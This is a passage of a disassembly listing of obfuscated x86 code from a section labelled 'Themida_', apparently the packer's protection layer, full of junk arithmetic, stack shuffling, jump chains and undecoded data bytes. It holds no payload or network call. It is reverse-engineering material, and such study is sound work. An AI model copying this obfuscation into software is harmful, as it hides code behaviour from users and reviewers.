		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, eax
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	eax, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55A929
; ---------------------------------------------------------------------------

loc_55FB4A:				; CODE XREF: Themida_:00565E5Dj
		mov	ebx, 36A6040Bh
		jmp	loc_55EF63
; ---------------------------------------------------------------------------

loc_55FB54:				; CODE XREF: Themida_:0055E677j
		mov	ecx, 7D612714h
		and	ecx, 42DB4C12h
		inc	ecx
		add	ecx, 0D0E1107h
		dec	ecx
		sub	ecx, 2E8673B4h
		xor	edx, ecx
		pop	ecx
		jmp	loc_55D284
; ---------------------------------------------------------------------------

loc_55FB75:				; CODE XREF: Themida_:0055FCDCj
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	45F5h
		jmp	loc_559941
; ---------------------------------------------------------------------------

loc_55FB8D:				; CODE XREF: Themida_:00569609j
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_55EF14
; ---------------------------------------------------------------------------

loc_55FB97:				; CODE XREF: Themida_:0056A44Bj
		pop	ecx
		sub	edx, 7AB70D15h
		sub	edx, 170509A9h
		sub	edx, ebx
		add	edx, 170509A9h
		jmp	loc_55DAF4
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 1EA168h, 0CF29E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FBBE:				; CODE XREF: Themida_:0055E7DFj
					; Themida_:00569191j
		mov	ecx, esp
		push	esi
		jmp	loc_56A489
; ---------------------------------------------------------------------------

loc_55FBC6:				; CODE XREF: Themida_:00565ED5j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_561E08
; ---------------------------------------------------------------------------

loc_55FBDF:				; CODE XREF: Themida_:00569AABj
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_55713B
; ---------------------------------------------------------------------------

loc_55FBE9:				; CODE XREF: Themida_:005678DAj
		push	472B2E42h
		jmp	loc_560CB9
; ---------------------------------------------------------------------------

loc_55FBF3:				; CODE XREF: Themida_:0055E67Fj
		pop	esp
		push	220Dh
		mov	[esp], edx
		push	1499h
		push	35FFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edx
		jmp	loc_55A3D0
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4BE5600h, 1000000h, 4875EF0h, 24248B24h, 4C481h
		dd 0D8290000h, 1619BB53h, 81572C58h, 4ECh, 24048900h, 1873F9B8h
		dd 850F4861h, 971Bh, 0BB8A0F40h, 8A00002Ah, 42EA8BF3h
		dd 0FFB720E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FC61:				; CODE XREF: Themida_:00563D99j
		push	ecx
		jmp	loc_5657E3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 56241489h, 0E126B5BEh, 0C8C68119h, 4E1DAC1Bh, 0FF6CC0E9h
		dd 0DDB4FFh, 515866E5h,	0C180DFB1h, 6899E98Ch, 40E9FFFFh
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FC93:				; CODE XREF: Themida_:00561EFBj
		mov	edx, esp
		jmp	loc_557D92
; ---------------------------------------------------------------------------

loc_55FC9A:				; CODE XREF: Themida_:0055E1A6j
		mov	eax, ecx
		jmp	loc_569CEE
; ---------------------------------------------------------------------------

loc_55FCA1:				; CODE XREF: Themida_:005566BCj
		add	esp, 4
		push	edi
		push	edx
		sub	esp, 4
		jmp	loc_55CE6D
; ---------------------------------------------------------------------------

loc_55FCB1:				; CODE XREF: Themida_:0056A332j
		push	16F9h
		mov	[esp], esi
		push	3C9B2B0Dh
		mov	esi, [esp]
		jmp	loc_5570B9
; ---------------------------------------------------------------------------

loc_55FCC6:				; CODE XREF: Themida_:00565BE0j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		add	ebp, eax
		pop	eax
		jmp	loc_55FB75
; ---------------------------------------------------------------------------

loc_55FCE1:				; CODE XREF: Themida_:00560A2Dj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55E6E5
; ---------------------------------------------------------------------------

loc_55FCF2:				; CODE XREF: Themida_:0055F4C6j
		and	ecx, 52A26A5h
		jge	loc_56A2C9
		sub	ecx, 0EA93B0B8h
		push	ecx
		jmp	loc_56D438
; ---------------------------------------------------------------------------
		dw 6BB6h
; ---------------------------------------------------------------------------

loc_55FD0C:				; CODE XREF: Themida_:005593C5j
		xor	eax, 20300C1Bh
		jmp	loc_566D92
; ---------------------------------------------------------------------------

loc_55FD16:				; CODE XREF: Themida_:005567B9j
		add	dl, bh
		add	dl, 0A3h
		pop	bx
		mov	ch, dl
		mov	edx, [esp]
		add	esp, 4
		add	ch, 0E0h
		or	ch, 9
		xchg	bl, ch
		neg	bl
		jmp	loc_5572FF
; ---------------------------------------------------------------------------

loc_55FD34:				; CODE XREF: Themida_:0055E66Fj
					; Themida_:0056627Ej
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ebx, 32CC106Eh
		add	ebx, ebp
		jmp	loc_565610
; ---------------------------------------------------------------------------

loc_55FD48:				; CODE XREF: Themida_:0055D254j
		xor	edi, ebp
		jmp	loc_55E602
; ---------------------------------------------------------------------------

loc_55FD4F:				; CODE XREF: Themida_:0055BE5Fj
		inc	ebx
		sub	ebx, 0E1FB25D8h
		sub	eax, ebx
		pop	ebx
		push	6BA2h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		push	4CA5h
		mov	[esp], edi
		push	447F55B2h
		jmp	loc_566BD1
; ---------------------------------------------------------------------------

loc_55FD79:				; CODE XREF: Themida_:0056B22Aj
		or	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 71FF2C8Fh
		shl	eax, 5
		shr	eax, 3
		xor	eax, 7803CDC7h
		sub	edi, eax
		jmp	loc_563B2D
; ---------------------------------------------------------------------------

loc_55FD9C:				; CODE XREF: Themida_:00558B97j
		pop	esi
		jmp	loc_558338
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 7E52D3AFh, 0FFB322E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FDAD:				; CODE XREF: Themida_:005694C9j
		mov	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_56749F
; ---------------------------------------------------------------------------

loc_55FDB8:				; CODE XREF: Themida_:00564FD9j
		dec	bh
		jnz	loc_55BD40
		push	eax
		mov	ah, 0DFh
		jmp	loc_55DE53
; ---------------------------------------------------------------------------
		dd 83242C8Bh
		db 0C4h, 4, 52h
; ---------------------------------------------------------------------------

loc_55FDCF:				; CODE XREF: Themida_:00565B86j
		pop	eax
		jmp	loc_55BD78
; ---------------------------------------------------------------------------

loc_55FDD5:				; CODE XREF: Themida_:00564317j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56BCC5
; ---------------------------------------------------------------------------
byte_55FDE3	db 68h			; DATA XREF: Themida_:00556074o
		dd 369Dh, 0BA241489h, 38h, 0F9E95255h
		db 0F5h, 2 dup(0FFh)
aMsg7		db '╛Иё7',0             ; DATA XREF: Themida_:005561D8o
		dd 241C3300h, 0CD3665Ch, 5BE99C24h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55FE0B:				; CODE XREF: Themida_:00567582j
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_558482
; ---------------------------------------------------------------------------

loc_55FE23:				; CODE XREF: Themida_:0055AD6Aj
		push	dword ptr [eax]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
word_55FE2A	dw 6664h		; DATA XREF: Themida_:00556020o
		dd 6866028Bh, 896673DDh, 0ACE92404h, 0DFFFF64h,	280674C4h
		dd 75CB870Fh, 0BF05FFFFh, 0E906A257h, 6A09h
		db 55h,	0B2h, 0A5h
; ---------------------------------------------------------------------------

loc_55FE53:				; CODE XREF: Themida_:0055CD67j
					; Themida_:0056CB4Ej
		jmp	loc_561C4F
; ---------------------------------------------------------------------------

loc_55FE58:				; CODE XREF: Themida_:005688EFj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5658DB
; ---------------------------------------------------------------------------

loc_55FE66:				; CODE XREF: Themida_:005672F7j
		add	bl, 7Eh
		jmp	loc_564D96
; ---------------------------------------------------------------------------

loc_55FE6E:				; CODE XREF: Themida_:00563751j
					; Themida_:0056B713j
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	7081h
		mov	[esp], eax
		mov	eax, 196C111Bh
		jmp	loc_560819
; ---------------------------------------------------------------------------

loc_55FE8B:				; CODE XREF: Themida_:00569110j
		mov	ebx, [esp]
		jmp	loc_56329E
; ---------------------------------------------------------------------------

loc_55FE93:				; CODE XREF: Themida_:005565D9j
		sub	al, bl
		sub	al, 0DFh
		push	ebx
		mov	bl, 53h
		jmp	loc_56D408
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 49F0C781h, 0C701105Dh, 49F0EF81h,	0E958105Dh, 7793h
; ---------------------------------------------------------------------------

loc_55FEB8:				; CODE XREF: Themida_:00561465j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, 17AD4D1Dh
		inc	ebp
		dec	ebp
		dec	ebp
		or	ebp, 37684609h
		dec	ebp
		add	ebp, 0C812B0E8h
		add	ebx, ebp
		pop	ebp
		push	ebp
		push	7BDC3067h
		pop	ebp
		or	ebp, 1C0C3170h
		or	ebp, 6F36255Dh
		add	ebp, 0FFFFFFFFh
		shl	ebp, 6
		add	ebp, 33F66116h
		push	eax
		jmp	loc_55E655
; ---------------------------------------------------------------------------
		db 1, 0CAh, 59h
		dd 5204C283h, 42474FFh,	24048F5Ah, 4EC835Ch, 57241489h
		dd 4BFh, 5FFA8900h, 2B5EED81h, 0D5012885h, 2B5EC581h, 835A2885h
		dd 6D6802C5h, 8900006Eh, 74FF242Ch, 34FF0424h, 242C8B24h
		dd 4C481h, 0C4810000h, 4, 0E924048Fh, 0FFFFBEAEh
; ---------------------------------------------------------------------------

loc_55FF58:				; CODE XREF: Themida_:0055B5CDj
		mov	bh, 3Eh
		add	al, bh
		mov	bx, [esp]
		add	esp, 2
		push	ebx
		jmp	loc_567F24
; ---------------------------------------------------------------------------
		dd 0C8B665Ch, 4C86824h,	4890000h, 0CA39E924h, 0BD550000h
		dd 1D454D48h, 0B850EDD1h, 3BBA688Bh, 0A50E882Dh, 0E9E8D10Eh
		dd 7F7Eh
; ---------------------------------------------------------------------------

loc_55FF98:				; CODE XREF: Themida_:00563C10j
		sub	edi, 943E80F7h
		mov	ebp, edi
		pop	edi
		jmp	loc_564342
; ---------------------------------------------------------------------------

loc_55FFA6:				; CODE XREF: Themida_:00566654j
		mov	[esp], ecx
		mov	cl, 36h
		jmp	loc_55E3F7
; ---------------------------------------------------------------------------

loc_55FFB0:				; CODE XREF: Themida_:00562473j
		xor	ebp, 0BDD60EFFh
		push	44F4h
		mov	[esp], ebp
		xor	dword ptr [esp], 2D7E5D6Eh
		jmp	loc_56973A
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0AC48EEFCh, 2414F752h, 8324148Bh, 0C28104C4h, 2B172332h
		dd 502068h, 243C8900h, 0FF63B0BFh, 0E7C14757h, 99F78105h
		dd 817B1D02h, 88EEA1C7h, 0F47CE995h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560002:				; CODE XREF: Themida_:0055B857j
		mov	cl, 3
		mov	dh, 0F8h
		xor	dh, cl
		pop	ecx
		add	ch, dh
		pop	dx
		sub	bl, ch
		pop	ecx
		add	bl, 71h
		push	dx
		push	eax
		push	edx
		jmp	loc_55899E
; ---------------------------------------------------------------------------
		dd 4C6815Eh, 83000000h,	0D6E904C6h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56002B:				; CODE XREF: Themida_:0056326Fj
		jmp	loc_56D378
; ---------------------------------------------------------------------------

loc_560030:				; CODE XREF: Themida_:00564145j
		shr	edi, 1
		jnz	loc_56CB8A
		sub	edi, 7F7DFDEFh
		mov	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 90A0C55h
		inc	edi
		jmp	loc_55A0C6
; ---------------------------------------------------------------------------

loc_560058:				; CODE XREF: Themida_:00566387j
		sub	ch, 0D6h
		add	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		push	dword ptr [esp]
		jmp	loc_56C5A6
; ---------------------------------------------------------------------------

loc_56006D:				; CODE XREF: Themida_:0055ADA7j
		jmp	loc_55DD9C
; ---------------------------------------------------------------------------

loc_560072:				; CODE XREF: Themida_:005680F5j
					; Themida_:0056C543j
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_568185
; ---------------------------------------------------------------------------

loc_56007F:				; CODE XREF: Themida_:00563056j
		jmp	loc_55A2BB
; ---------------------------------------------------------------------------

loc_560084:				; CODE XREF: Themida_:00565F71j
		push	10EDh
		jmp	loc_5650C4
; ---------------------------------------------------------------------------

loc_56008E:				; CODE XREF: Themida_:00562E32j
		mov	dl, 79h
		sub	al, dl
		pop	dx
		add	al, 0C0h
		push	ebx
		push	edx
		mov	dl, 3Ch
		xor	dl, 3Fh
		mov	bh, dl
		pop	edx
		push	cx
		mov	cl, 22h
		jmp	loc_557778
; ---------------------------------------------------------------------------
		db 68h,	0D9h, 21h
		dd 0C890000h, 8AE95624h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5600B7:				; CODE XREF: Themida_:0056595Dj
					; Themida_:00567A30j
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55F16B
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 46h
		dd 19915ADh, 24148BD1h,	4C481h,	0AD680000h, 0E9000057h
		dd 2894h
; ---------------------------------------------------------------------------

loc_5600E0:				; CODE XREF: Themida_:0056C679j
		pop	esp
		push	ebp
		push	edi
		push	ebx
		mov	ebx, 6EB730EAh
		add	ebx, 1962348Fh
		jp	loc_56A99E
		neg	ebx
		jle	loc_55EC5A
		and	ebx, 7E8589Eh
		jmp	loc_56A5C6
; ---------------------------------------------------------------------------
		dd 0C588F888h, 59EC8858h, 83241C8Bh, 34FF04C4h,	0C4815924h
		dd 4, 0E92434FFh, 274Eh
; ---------------------------------------------------------------------------

loc_560128:				; CODE XREF: Themida_:0056D2B3j
		push	4
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 2B4711B0h
		add	eax, esi
		pop	esi
		sub	eax, edx
		sub	eax, 2B4711B0h
		pop	edx
		jmp	loc_557C86
; ---------------------------------------------------------------------------
		db 0F7h
		dd 787B05D0h, 0E952A4F2h, 0FFFFA4DFh
; ---------------------------------------------------------------------------

loc_56015C:				; CODE XREF: Themida_:0056978Ej
		mov	cx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		xor	ah, 9Eh
		jmp	loc_56AF37
; ---------------------------------------------------------------------------

loc_560178:				; CODE XREF: Themida_:0056BF05j
		sub	ah, 1Ch
		add	ah, 8Bh
		jmp	loc_55ECB8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81592434h, 4C4h, 0B3B85000h,	0F72B4A24h, 0E94840D8h
		dd 522h, 0B9240C89h, 5694241Dh,	86E9D1F7h, 8300004Eh, 0B9E904C7h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5601B3:				; CODE XREF: Themida_:0055EC7Fj
		sub	ecx, edx
		pop	edx
		mov	ebp, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_5649B4
; ---------------------------------------------------------------------------
		db '^hр+',0
		dw 0E900h
		dd 0FFFF9585h
; ---------------------------------------------------------------------------

loc_5601CC:				; CODE XREF: Themida_:0055EF92j
		mov	[esp], edx
		mov	edx, 2
		add	edi, 789C119Fh
		add	edi, edx
		push	eax
		mov	eax, 789C119Fh
		jmp	loc_568E48
; ---------------------------------------------------------------------------

loc_5601E7:				; CODE XREF: Themida_:loc_55C751j
		jmp	loc_563AAB
; ---------------------------------------------------------------------------

loc_5601EC:				; CODE XREF: Themida_:loc_55813Fj
		jmp	loc_559F75
; ---------------------------------------------------------------------------

loc_5601F1:				; CODE XREF: Themida_:005694E3j
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5601FB:				; CODE XREF: Themida_:0055A0FBj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56AFA7
; ---------------------------------------------------------------------------

loc_560209:				; CODE XREF: Themida_:0056623Bj
		add	ecx, edx
		push	edi
		mov	edi, 3586500h
		add	ecx, edi
		jmp	loc_55C3D6
; ---------------------------------------------------------------------------
		dd 0DC1F860Fh, 0F781FFFFh, 652D5061h, 0FFB043E9h, 1D97BEFFh
		dd 0C6811B86h, 0FFD06D3h, 4DEAE9h
		db 0
; ---------------------------------------------------------------------------

loc_560239:				; CODE XREF: Themida_:00568C03j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, 12663CE7h
		jmp	loc_56C97F
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 6B5EE913h, 0F681FFFFh, 57914AB4h, 2091E9h
		db 0
; ---------------------------------------------------------------------------

loc_560275:				; CODE XREF: Themida_:0055F1EEj
		add	cl, 23h
		mov	ah, cl
		jmp	loc_562167
; ---------------------------------------------------------------------------

loc_56027F:				; CODE XREF: Themida_:00563EDEj
		add	ebx, 0F547FB40h
		jmp	loc_560A53
; ---------------------------------------------------------------------------

loc_56028A:				; CODE XREF: Themida_:0055B72Aj
					; Themida_:005654B4j
		mov	eax, 299D4843h
		jmp	loc_56CAA6
; ---------------------------------------------------------------------------
dword_560294	dd 24248B66h, 18F3E9h, 5EE95800h, 0BEFFFFFCh, 22EB4E2Fh
					; DATA XREF: Themida_:005561DCo
		dd 0FFE229E9h, 8BC681FFh, 81303B0Ch, 8B92D1F6h,	5EF00114h
		dd 4A6BD42Dh, 0DE6CE924h, 0D4B9FFFFh, 895B7273h, 0F10959CEh
		dd 0ABE9815Eh, 214E032Dh, 0CF8159CFh, 68B80762h, 5BF5E9h
		dd 24048F00h, 915CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5602EE:				; CODE XREF: Themida_:00561B47j
		mov	[esp], ebp
		jmp	loc_569BDC
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0E904C783h, 0FFFF8431h
; ---------------------------------------------------------------------------

loc_560304:				; CODE XREF: Themida_:loc_5581C4j
					; Themida_:0056A82Dj
		sub	ecx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_5589EB
; ---------------------------------------------------------------------------

loc_560312:				; CODE XREF: Themida_:0056BF63j
		not	ebx
		jmp	loc_567744
; ---------------------------------------------------------------------------

loc_560319:				; CODE XREF: Themida_:00556E29j
		mov	[esp], edx
		jmp	loc_56B92C
; ---------------------------------------------------------------------------

loc_560321:				; CODE XREF: Themida_:0055A1A1j
		add	edx, 420039DEh
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56032C:				; CODE XREF: Themida_:0055E472j
		and	edi, 57AE749Ah
		jmp	loc_569630
; ---------------------------------------------------------------------------

loc_560337:				; CODE XREF: Themida_:0056492Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5589D8
; ---------------------------------------------------------------------------

loc_560351:				; CODE XREF: Themida_:00564ABEj
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4

loc_560360:				; CODE XREF: Themida_:00561B1Cj
					; Themida_:loc_56C284j
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		pop	edx
		push	edi
		push	4E8Fh
		jmp	loc_560FAB
; ---------------------------------------------------------------------------

loc_560373:				; CODE XREF: Themida_:00564AE5j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56ADA5
; ---------------------------------------------------------------------------

loc_560385:				; CODE XREF: Themida_:0056357Ej
		mov	ebp, 4B9E009Ah
		mov	ebx, 0DDF367BDh
		add	ebx, ebp
		jmp	loc_569DEC
; ---------------------------------------------------------------------------

loc_560396:				; CODE XREF: Themida_:0055B2DBj
		pop	ecx
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		add	ebx, 192A204Eh
		mov	edx, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_568B8F
; ---------------------------------------------------------------------------

loc_5603B6:				; CODE XREF: Themida_:00561EB1j
		sub	edx, 74807523h
		push	ebx
		jmp	loc_569527
; ---------------------------------------------------------------------------

loc_5603C2:				; CODE XREF: Themida_:0056AFB1j
		add	esp, 4
		push	edx
		mov	dl, 34h
		inc	dl
		add	dl, 0E5h
		add	bl, dl
		jmp	loc_56C742
; ---------------------------------------------------------------------------
		dd 373EB951h, 0F181153Ah, 5FC91345h, 0C104E1C1h, 814104E9h
		dd 0FA2CC5C1h, 59CA014Fh, 0B850CA01h, 5AED5141h, 0E958C229h
		dd 0FFFFFD83h
; ---------------------------------------------------------------------------

loc_560400:				; CODE XREF: Themida_:0056266Ej
		mov	esi, [esp]
		jmp	loc_55AF2B
; ---------------------------------------------------------------------------

loc_560408:				; CODE XREF: Themida_:00569378j
		neg	ebp
		not	ebp
		sub	ebp, 5F995C3h
		sub	ebx, 1F285CE7h
		add	ebx, 27B32815h
		sub	ebx, 32DE125Eh
		jmp	loc_55A6E6
; ---------------------------------------------------------------------------

loc_560429:				; CODE XREF: Themida_:0056520Bj
		pop	ebx
		sub	[esp+4], edx
		add	dword ptr [esp+4], 22FC1139h
		sub	dword ptr [esp+4], 2E2B1642h
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_559875
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 0C1h
		dd 0E2D106E2h, 134FCA81h, 0E2C12005h, 0BFEA8106h, 164F8C0h
		dd 0EE815AD6h, 0ACD0E2Bh, 0C681EE01h, 0ACD0E2Bh, 3301EE81h
		dd 835D7656h, 343304C6h, 24343124h, 8B243433h, 48B2424h
		dd 89505324h, 2BB368E0h, 3C890000h, 7D20BF24h, 684F7B51h
		dd 42BEh, 0B8240489h, 5A8D63E0h, 2022772Dh, 1C0352Ch, 0C729458Ch
		dd 0EAB85058h, 35368E4Dh, 52AA35E2h, 6070B535h,	0C3692D01h
		dd 0C73151F9h, 0E0BB5358h, 4B61BE5Bh, 48C3814Bh, 31BA7C1Dh
		dd 0E5AE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5604E6:				; CODE XREF: Themida_:0055B0CAj
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 12BA15B2h
		sub	[esp+4], ebx
		jmp	loc_55DA78
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1CE92434h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56050B:				; CODE XREF: Themida_:0055DFC2j
		add	esp, 4
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_559EF0
; ---------------------------------------------------------------------------
		db 81h
		dd 5138EEC3h, 6DC4E959h, 0E958FFFFh, 2D9Ch
; ---------------------------------------------------------------------------

loc_560530:				; CODE XREF: Themida_:00559657j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 32157965h
		jmp	loc_566830
; ---------------------------------------------------------------------------

loc_56055E:				; CODE XREF: Themida_:00561DDDj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D596
; ---------------------------------------------------------------------------

loc_56056A:				; CODE XREF: Themida_:0055E78Bj
		add	bl, dl
		jmp	loc_55A572
; ---------------------------------------------------------------------------

loc_560571:				; CODE XREF: Themida_:005571A7j
		push	ebx
		mov	ebx, 1C15467Fh
		sub	edi, ebx
		mov	ebx, [esp]
		push	2E3Bh
		jmp	loc_55CFFA
; ---------------------------------------------------------------------------

loc_560586:				; CODE XREF: Themida_:0055FA6Ej
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	ebx
		jmp	loc_566C3C
; ---------------------------------------------------------------------------

loc_560593:				; CODE XREF: Themida_:00557E32j
		sub	ecx, 0FFFFFFFFh
		jmp	loc_559714
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF8942E9h, 4C481FFh, 81000000h, 4C5h, 4BA5200h, 1000000h
		dd 2C875AD5h, 39E95C24h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5605BF:				; CODE XREF: Themida_:0055BBCCj
		mov	esi, 8BCEEECDh
		sub	edi, esi
		jmp	loc_55B926
; ---------------------------------------------------------------------------

loc_5605CB:				; CODE XREF: Themida_:0055D1CDj
		add	ecx, 0FFFFFFFFh
		sub	ecx, 1
		add	ecx, 68B114B9h
		sub	edi, 2685405Ch
		add	edi, 2F987EDFh
		sub	edi, ecx
		sub	edi, 2F987EDFh
		add	edi, 2685405Ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563E02
; ---------------------------------------------------------------------------

loc_560602:				; CODE XREF: Themida_:005699CCj
		pop	esi
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 790B67DDh
		pop	ecx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_560615:				; CODE XREF: Themida_:0056BC2Aj
		pop	ebp
		push	ebp
		mov	ebp, 0E0083F4Ah
		add	ecx, ebp
		pop	ebp
		sub	edi, 82B6289h
		add	edi, ecx
		add	edi, 82B6289h
		pop	ecx
		push	edi
		jmp	loc_567E42
; ---------------------------------------------------------------------------

loc_560634:				; CODE XREF: Themida_:00561579j
		js	loc_558F14
		jmp	loc_55BD0B
; ---------------------------------------------------------------------------
		db 5
		dd 0D726113h, 3F71BBB9h, 7DF00539h, 0C8292A04h,	7DF0B951h
		dd 332D2A04h, 0E964667Eh, 9316h
; ---------------------------------------------------------------------------

loc_560660:				; CODE XREF: Themida_:0055736Dj
		add	esp, 2
		add	al, dl
		push	bx
		push	ecx
		jmp	loc_55F0F3
; ---------------------------------------------------------------------------
		dd 0C7FF681h, 880F3436h, 0FFFFA696h, 8108EEC1h,	0AB767BE6h
		dd 30BA524Ah, 81000A54h, 803227EEh, 81D62917h, 803227C6h
		dd 24148B17h, 0A0A4E9h,	2404FF00h, 5C3DE99Ch
		db 2 dup(0FFh)
word_5606AA	dw 3166h		; DATA XREF: Themida_:0055629Co
		dd 33662434h, 31662434h, 0EC832434h, 102BE902h,	880D0000h
		dd 35655A6Ch, 53B97313h, 468CDC35h, 0E9C201A6h,	859Ah
; ---------------------------------------------------------------------------

loc_5606D4:				; CODE XREF: Themida_:00565C23j
		sub	ebp, 7BC12267h
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_56C754
; ---------------------------------------------------------------------------

loc_5606ED:				; CODE XREF: Themida_:0056B082j
		push	7F12690Eh
		pop	edx
		xor	edx, 3C4E6730h
		jg	loc_56B53F
		add	edx, 0BCA3F1C6h
		mov	ecx, edx
		pop	edx
		pop	edi
		add	edi, 30099BBAh
		jmp	loc_564489
; ---------------------------------------------------------------------------

loc_560714:				; CODE XREF: Themida_:00565983j
		xor	ebp, edi
		xor	edi, ebp
		add	edi, 1BE936CAh
		push	ebp
		mov	ebp, 93C3DEDCh
		xor	edi, ebp
		pop	ebp
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_56475F
; ---------------------------------------------------------------------------

loc_560731:				; CODE XREF: Themida_:0055F2FCj
		push	edi
		jmp	loc_56C7FD
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832404h, 242C8904h, 14168BBDh, 45D5F761h,	61F2E581h
		dd 0E5C11BE1h, 929BE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560756:				; CODE XREF: Themida_:00559637j
		mov	[esp], ebx
		jmp	loc_55C47F
; ---------------------------------------------------------------------------
word_56075E	dw 6664h		; DATA XREF: Themida_:005560D8o
		dd 6602B60Fh, 6665C568h, 0E9240489h, 0FFFF5B77h
; ---------------------------------------------------------------------------

loc_560770:				; CODE XREF: Themida_:0055E1B7j
		jmp	loc_562DE7
; ---------------------------------------------------------------------------

loc_560775:				; CODE XREF: Themida_:00558399j
		sub	esi, 8B51804h
		add	ebx, esi
		pop	esi
		jmp	loc_567C3E
; ---------------------------------------------------------------------------
		db 89h
		dd 0FCBE2434h, 0E930C637h, 0FFFFDFE5h, 4244481h, 1C7A25D3h
		dd 4245401h, 4246C81h, 1C7A25D3h, 4244481h, 688F2FADh
		dd 0E924148Bh, 0FFFF7B72h
; ---------------------------------------------------------------------------

loc_5607B4:				; CODE XREF: Themida_:005638EBj
		dec	edx
